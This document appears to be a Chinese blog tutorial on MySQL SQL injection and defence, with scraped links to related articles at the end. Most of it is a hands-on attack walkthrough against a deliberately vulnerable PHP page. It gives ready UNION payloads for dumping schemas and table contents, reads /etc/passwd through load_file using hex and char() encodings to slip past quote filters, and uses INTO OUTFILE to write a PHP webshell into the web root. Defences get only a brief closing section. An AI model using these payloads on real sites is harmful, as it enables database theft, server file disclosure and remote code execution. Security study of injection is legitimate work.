1、简介

  1.1、含义

  在一个应用中,数据的安全无疑是最重要的。数据的最终归宿都是数据库,因此如何保证数据库不被恶意攻击者入侵是一项重要且严肃的问题!

  SQL注入作为一种很流行的攻击手段,一直以来都受到网络安全研究者和黑客们的广泛关注。那什么是SQL注入呢?SQL注入是这样一种攻击技术:攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意的SQL命令的一种攻击方式。

  想要更好的防御SQL注入,当然要了解攻击者是如何攻击的啦,自己知彼,百胜不殆!

  1.2、注入原理

  SQL注入的本质是恶意攻击者将SQL代码插入或添加到程序的参数中,而程序并没有对传入的参数进行正确处理,导致参数中的数据会被当做代码来执行,并最终将执行结果返回给攻击者

  1.3、危害

  利用SQL注入漏洞,攻击者可以操纵数据库的数据(如得到数据库中的机密数据、随意更改数据库中的数据、删除数据库等等),在得到一定权限后还可以挂马,甚至得到整台服务器的管理员权限。由于SQL注入是通过网站正常端口(通常为80端口)来提交恶意SQL语句,表面上看起来和正常访问网站没有区别,如果不仔细查看WEB日志很难发现此类攻击,隐蔽性非常高。一旦程序出现SQL注入漏洞,危害相当大,所以我们对此应该给予足够的重视。

2、注入知识与例子解析

  2.1、注入的常用知识

常用函数:

 system_user()        #系统用户名
user()           #返回MYSQL用户名
current_user()       #当前用户名
session_user()       #连接数据库的用户名
database()         #返回当前数据库名
version()         #返回当前数据库版本信息
load_file()        #返回文件的内容【攻击时用于读取本例文件,攻击力大大的】
into outfile '物理路径'   #将结果输出【攻击在利用将恶意脚本注入系统中】
#有用的系统库:
INFORMATION_SCHEMA
  mysql大于5.0的版本默认安装后都有INFORMATION_SCHEMA数据 库,INFORMATION_SCHEMA提供了访问数据库元数据的方式,是MYSQL的信息数据库,其中保存着关于MySQL服务器所维护的所有其他数 据库的信息,通过这个数据库可以查看服务器上创建了那些数据库,数据库有哪些表,表中有哪些字段,对注入很有用途。【利用它可以进行爆表、爆字段、爆内容】
序号 表名 关键字段
1 SCHEMATA SCHEMATA_NAME(表示数据库名称)
2 TABLES TABLES_TABLE_SCHEMA(表示表所属的数据库名称)、TABLE_NAME(表示表的名称)

3

COLUMNS TABLE_SCHEMA(表示表所属的数据库名称)、TABLE_NAME(表示所属的表的名称)、 COLUMN_NAME(表示字段名)
注入形式:
1、union select 1,SCHEMATA_NAME,3 from information_schema.SCHEMATA limit 2,1
2、union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLES_TABLE_SCHEMA='database_name' limit 2,1
3、union select 1,COLUMN_NAME,3 from information_schema.COLUMNS where TABLE_NAME='table_name' limit 2,1
注:这仅仅只是写法形式,在没有任何防御措施的情况下可注入。当有转义单引号的过滤,那么上面的语句肯定不成功的,必须做出相应的修改方可成功。
注入小技巧:
  1、当我们注入的时候,如果空格被过滤机制处理掉了,那么我们可以使用注释来生成空格。例如:select/**/1,2,3
  2、使用union进行查询时,需要对应数据类型【谨记谨记】;例如union前面的第一列是int,后面就不要对应string了

  2.2、注入流程

  1.判断Web系统使用的脚本语言,发现注入点,并确定是否存在SQL注入漏洞

  2.判断Web系统的数据库类型

  3.判断数据库中表及相应字段的结构

  4.构造注入语句,得到表中数据内容

  5.查找网站管理员后台,用得到的管理员账号和密码登录

  6.结合其他漏洞,想办法上传一个Webshell

  7.进一步提权,得到服务器的系统权限

  (注:以上为一般流程,根据实际情况,情况可能会有所不同。)

  2.3、实例解析

    a、构造注入环境

建立两张表

CREATE DATABASE test88;
USE test88;
CREATE TABLE `admin` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(32) DEFAULT NULL,
`password` varchar(32) DEFAULT NULL,
PRIMARY KEY (`id`)
) ;
CREATE TABLE `goods` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(32) DEFAULT NULL,
`brand` varchar(32) DEFAULT NULL,
PRIMARY KEY (`id`)
);

test2.php文件

 header('content-type:text/html;charset=utf8');
$link=mysql_connect('127.0.0.1','root','321');
mysql_set_charset('utf8');
mysql_select_db('test88');
$id=$_GET['id'];
$sql="select*from admin where id=".$id;
echo "<pre>";
print_r($sql); #查看SQL语句
echo "</pre>";
$result=mysql_query($sql);
while($rec=mysql_fetch_assoc($result))
{
echo "<pre>";
print_r($rec); #查询结果
echo "</pre>";
}

    b、查找注入点

  【针对的SQL语句:$sql="select*from admin where id=".$id;  #(代码中的);无任何过滤,直接注入】

  正常访问:www.linuxtest.com/test2.php?id=1

  查找注入点:

  1、非正常访问www.linuxtest/test2.php?id=1',结果返回非正常页面,说明可能有注入节点存在,继续下面的验证

  2、继续非正常访问www.linuxtest/test2.php?id=1 and 1=1,结果返回正常页面

  3、继续非正常访问www.linuxtest/test2.php?id=1 and 1=2,结果返回非正常页面,有注入节点,可以直接在id=1后面增加攻击SQL语句

  (当然我们测试的SQL语句的数据是没经过任何处理,最简单最容易被攻击的,所以就so easy【仅仅只是做个示例】)

  【其他SQL1语句:$sql="select*from admin where id=$id";

  与上面相同

  【其他SQL2语句:$sql="select*from admin where id=‘{$id}’";

  此时存在注入点,但是我们必须消除单引号才能进行相应的攻击SQL的插入,方法有:

  • 增加(and ‘=)进行消除;例如:test2.php?id=1' union select 1,2,3 and '=;结果SQL为:select*from admin where id='1' union select 1,2,3 and '='
  • 增加(and “=’)、(union select 1,2,'3)等等。同理
  • 使用注释(--)进行消除【注:有一个缺点,就是在复杂的SQ语句中会有很大的出错几率;上面则不存在】;例如:test2.php?id=1' union select 1,2,3 -- 注释;结果SQL为:select*from admin where id='1' union select 1,2,3 -- 注释'
  • 。。。。。方法无穷无尽,自己研究

    c、判断数据库类型

  访问:http://www.linuxtest.com/test2.php?id=1 and ord(mid(version(),1,1))>51

 

  返回正常页面说明这个数据库版本大于4.0,可以使用uinon查询。反之就是4.0以下版本或者是其他类型数据库

  d、破此表字段数目(为使用union做铺垫)

  方法一:猜猜法!(2233)例如:访问www.linuxtest.com/test2.php?id=1 union select 1,2[,3,.....,n];直到不产生错误则n就是此表的列数

  方法二:使用order by 排序,并运用二分法,猜猜猜!例如:访问www.linuxtest.com/test2.php?id=1 order by [1|2|3|....|n];按照第[1|2|3|...|n]列排序;只要结果显示正常的就表示此表列数大于等于这个数(咱可以采用二分法进行猜嘛!)

  人品大爆炸,一猜就被我猜中了!(223333)

    e、查看具体版本号

  使用version()、和database()函数查看具体数据库版本号以及此时使用的数据库

  访问:www.linuxtest.com/test2.php?id=1 union select 1,version(),database()

  结果显示:1、MySQL数据库版本为5.5,大于5.0,存在INFORMATION_SCHEMA数据库;2、此时使用的数据库为test88

    f、爆表

  【此时我们假设goods表是后台管理人员的账号密码表

  爆第一个表名:

  访问www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 0,1

  爆第二个表名:

  访问www.linuxtest.com/test2.php?id=100 union select 1,TABLE_NAME,3 from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA='test88' limit 1,1

  【以此类推知道找到想要的表】

  结果显示,我们找到管理员账号密码表啦

  g、爆字段

  同理

  访问:www.linuxtest.com/test2.php?id=100 union select 1,column_name,3 from information_schema.columns where table_name='goods' limit 0,1

    以此类推,将想要的字段全部找出来。(字段有,name、brand)

  h、爆内容

  访问:www.linuxtest.com/test2.php?id=100 union select 1,name,brand from goods limit 0,1

  【以此类推,获取想要的内容】

  2.4、使用load_file()和outfile进行入侵

    a、知识铺垫

  我们都知道在MySQL中,函数中的参数如果是字符串那必须采用单引号或者双引号括主、where中的字符串类型匹配也是如此。

  但是我们可以使用字符的十六进制(0x**)或者ASCII码(char(**))来表示。【此时不再需要引号】

  例子:

  因此,当我们使用函数进行注入的时候单引号被过滤处理了,那么将会出现错误!

  此时我们可以使用字符串的十六进制或者ASCII码的十进制进行注入!

    b、Load_file()函数

  Load_file  是MySQL读取本地文件所用到的函数,顾名思义,就是加载文件,我们这里就是将文件内容显示出来。当我可以将系统中的文件随意的读写出来,那么这个攻击给Web应用所造成的损失那将是无法估量的!

  首先我们来判断该mysql是否拥有读写权限;在注入点加上这句SQL进行检测,返回正常页面则表示拥有读写权限!【and (select count(*) from mysql.user)>0】

  在确认拥有读写权限后,接着我们可以进行load_file()注入啦!

  可以用这个函数去读取系统的敏感文件,去寻找配置文件,寻找数据 库连接文件,寻找社工文件,寻找WEB物理路径等等

  测试:获取linux中/etc/passwd文件内容

  方式一(明文字符串):访问www.linuxtest.com/test2.php?id=1 union select 1,load_file('/etc/passwd' ),3

  【注:此时需要单引号没有被过滤】

  方式二(ASCII码十进进):访问www.linuxtest.com/test2.php?id=1 union select 1,load_file(char(47,101,116,99,47,112,97,115,115,119,100)) ,3

  【注:(/etc/passwd)字符串的ASCII码是47,101,116,99,47,112,97,115,115,119,100】

  方式三(字符串十六进制):访问www.linuxtest.com/test2.php?id=1 union select 1,2,load_file(0x2f6574632f706173737764)

  【注:(/etc/passwd)字符串的十六进制为0x2f6574632f706173737764】

  问题解决:

  通过load_file 可以列目录,读文件,但是遇到文件格式编码的时候也许会遇到乱码的问题。这个问题可以这么解决, 使用使用MySQL中的 subString 函数, subString(字符串,开始,返回)。

  例如:Substring(load_file(A),50,100)就是把A的内容的第50个字母开始回显100个给你。

  访问www.linuxtest.com/test2.php?id=1 union select 1,2,Substring(load_file(0x2f6574632f706173737764),50,100)

    c、outfile入侵

  mysql中outfile的作用就是将查询的结果输出到文件中

  例如:select ‘hello word’ into outfile ‘/a.txt’ 这里是讲 ‘hello word’ 输出到 /a.txt(linux系统中)

  前提条件:

  1、获得物理路径(into outfile '物理路径') 这样才能写对目录
  2、能够使用union (也就是说需要MYSQL3以上的版本)
  3、对方没有对 ' 进行过滤(因为outfile 后面的 ' ' 不可以用其他函数代替转换)
  4、就是MYSQL用户拥有file_priv权限(不然就不能写文件 或者把文件内容读出)
  5、对web目录有写权限MS的系统一般都有权限,但是LINUX通常都是rwxr-xr-x 也就是说组跟其他用户都没有权限写操作

  对应条件解决:

  1、我们一般可以靠数据库出错信息来爆出来,不行的话,也可以通过load_file()来得到

  2、上面的实例解析步骤c有介绍检测方法

  3、也不多见对 '''过滤的

  4、2.4b中有介绍检查方法(这个得看运行mysql的用户有多大权限了)

  5、一般多试试上传目录,图片目录,还是大部分都有读写权限的

  测试:将数据输出到'/use/local/mysql/data'中【因为我给运行mysql的用户权限相对较低,要是测试更明显方便那就采用root运行MySQL吧!】

  访问www..linuxtest.com/test2.php?id=1 union select 1,2,3 into outfile '/usr/local/mysql/data/aaa.txt'

  将123写入系统/usr/local/mysql/data/aaa.txt中【123可以修改为你想要的攻击代码】

  综合下面图片,我们得知内人注入成功!

  但为什么会出错呢?

  【注】:

  问:当网站不给你上传,或者网站过滤上传的内容,那怎么办呢?

  答:使用字符串十六进制码或者ASCII码来代替

  使用形式:

  1、union select 1,load_file( /www/home/html/upload/qingyafengping.jpg【你已经上传的文件】),3,4,5,6 into outfile '/www/home/html/coder.php'/

  2、 union select 1,char(【字符串的十六进制码或者ASCII十进制码】),3,4,5,6 into outfile '/www/home/html/coder.php'

  3、。。。。等等

3、防御方法

  通过前面的讲解我们得知,要想成功利用SQL注入漏洞,需要同时满足两个条件,一是攻击者可以控制用户的输入,二是注入的代码要被成功执行。下面的内容主要围绕这两个方面来展开。

  【从源头进行防御的思想】即需要对从其他地方传递过来的参数在进入数据库之前进行正确的处理。主要有以下几个方面

  1、在表单中通过js绑定数据类型、或者过滤一些非法字符

  2、连接数据库时,使用预编译语句,绑定变量【PHP中使用mysqli、PDO进行连接使用数据库】

  3、在数据进入后台逻辑时,先对传入的参数进行验证,确保符合应用中定义的标准。主要有白名单和黑名单两种方法来实现。从理论上来讲,白名单的安全性要比黑名单高,因为它只允许在白名单中定义的数据通过,其他数据都会被过滤掉。黑名单只会过滤定义在黑名单中的数据(比如SQL注入中的一些危险字符),通常使用正则表达式来实现。但需要注意的是,由于黑名单不可能包含所有的危险字符,所以可能会出现黑名单被绕过的情况。例如在mysql注入中,当在黑名单中过滤了空格字符,我们可以使用"/*(mysql中注释符)"和"+"来代替空格,绕过黑名单的限制继续注入,因此我们应该尽量多使用白名单。

4、总结

  这篇文章整理了好久了,毕竟菜鸟级别还需要慢慢测试校验,才能得出相应的结论。其实关于MySQL的内容还有很多,例如宽字节注入、数据过滤以及如何绕过数据过滤、详细的防御方法及步骤等等,但是这里已经写得太长了,所以MySQL注入的防御就简单写了个大概的方法,具体的没有测试校验贴出来,改天再来写一篇MySQL注入防御的文章(内容、步骤当然是要详细的啦)

  写这篇文章收获还是蛮多的,这不是第一次接触MySQL注入的问题,但是每当重新接触并学习总结之前的内容就会有新的收获与体会,对知识的理解将会更加的深刻!

5、参考文献

1. 《mysql注入精华

2.《一份很详细的mysql注入

(以上是自己的一些见解,若有不足或者错误的地方请各位指出)

作者:那一叶随风   http://www.cnblogs.com/phpstudy2015-6/

原文地址:http://www.cnblogs.com/phpstudy2015-6/p/6790490.html

声明:本博客文章为原创,只代表本人在工作学习中某一时间内总结的观点或结论。转载时请在文章页面明显位置给出原文链接

MySQL注入与防御的更多相关文章

  1. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  2. [转载] MySQL 注入攻击与防御

    MySQL 注入攻击与防御 2017-04-21 16:19:3454921次阅读0     作者:rootclay 预估稿费:500RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页 ...

  3. 对MYSQL注入相关内容及部分Trick的归类小结

    前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...

  4. 十三:SQL注入之MYSQL注入

    MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆.作为安全开发工作者,攻 ...

  5. sql注入-原理&防御

    SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数 ...

  6. Mysql注入小tips --持续更新中

    学习Web安全好几年了,接触最多的是Sql注入,一直最不熟悉的也是Sql注入.OWASP中,Sql注入危害绝对是Top1.花了一点时间研究了下Mysql类型的注入. 文章中的tips将会持续更新,先说 ...

  7. 史上最完整的MySQL注入

    原文作者: Insider 免责声明:本教程仅用于教育目的,以保护您自己的SQL注释代码. 在阅读本教程后,您必须对任何行动承担全部责任. 0x00 ~ 背景 这篇文章题目为“为新手完成MySQL注入 ...

  8. MySQL注入技巧性研究

    0x00 前言 MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.MySQL 是最流行的关系型数据库管理系统之一,本人最近针对MySQL注入做了 ...

  9. 【mysql注入】mysql注入点的技巧整合利用

    [mysql注入]mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道w ...

随机推荐

  1. IFS简单说明

    bash&shell系列文章:http://www.cnblogs.com/f-ck-need-u/p/7048359.html bash下的很多命令都会分割单词,绝大多数时候默认是采用空格作 ...

  2. Perl文件测试操作和stat函数

    在shell中通过test命令或者中括号[]可以进行文件测试以及其它类型的测试,例如判断文件是否存在,比较操作是否为真等等.perl作为更强大的文本处理语言,它也有文件测试类表达式,而且和shell的 ...

  3. 南大算法设计与分析课程OJ答案代码(4)--变位词、三数之和

    问题 A: 变位词 时间限制: 2 Sec  内存限制: 10 MB提交: 322  解决: 59提交 状态 算法问答 题目描述 请大家在做oj题之前,仔细阅读关于抄袭的说明http://www.bi ...

  4. angularjs_百度地图API_根据经纬度定位_示例

    百度API--Demo地址:   http://lbsyun.baidu.com/jsdemo.htm#i8_4 本例是在angular.js使用的百度地图根据经纬度定位的API:(正常的页面写法基本 ...

  5. 查看内置命令和非内置命令帮助的几种方法(man、help、info)

    内置命令就是shell内核自带的,因为shell当中自己要进行管理,那么就需要一些命令进行管理,不同的shell肯定有不同的shell命令,我们用type命令就可以看到其的类型,内置shell命令其实 ...

  6. C#窗体加载和控件加载不同步导致控件闪烁

    窗体加载和控件加载不同步导致的控件闪烁现象:// 代码块加在父窗体中的任意位置,解决窗体加载和控件加载不同步导致的控件闪烁问题        protected override CreatePara ...

  7. [android] 隐式意图激活另外一个activity

    随着api的升级,系统的很多应用包名和类名都改掉了,所以很多时候,打开系统应用的时候会报错,隐式意图就是解决组件之间松耦合,描述动作行为 获取Intent对象,通过new出来 调用Intent对象的s ...

  8. 月薪15k的测试员需要学习什么技术?

    想了很久,决定还是要写一篇这样的文章出来,月薪15k的测试员需要学习什么技术?我觉得测试想要月薪15k并不难,只要做到我说的这几点肯定是可以的! 克服懒惰 我觉得,越是聪明的人越是觉得自己“懒惰”.大 ...

  9. Java高并发 -- 并发扩展

    Java高并发 -- 并发扩展 主要是学习慕课网实战视频<Java并发编程入门与高并发面试>的笔记 死锁 死锁是指两个或两个以上的事务在执行过程中,因争夺锁资源而造成的一种互相等待的现象, ...

  10. constructor C++ example

    The constructor for this class could be defined, as usual, as:   Rectangle::Rectangle (int x, int y) ...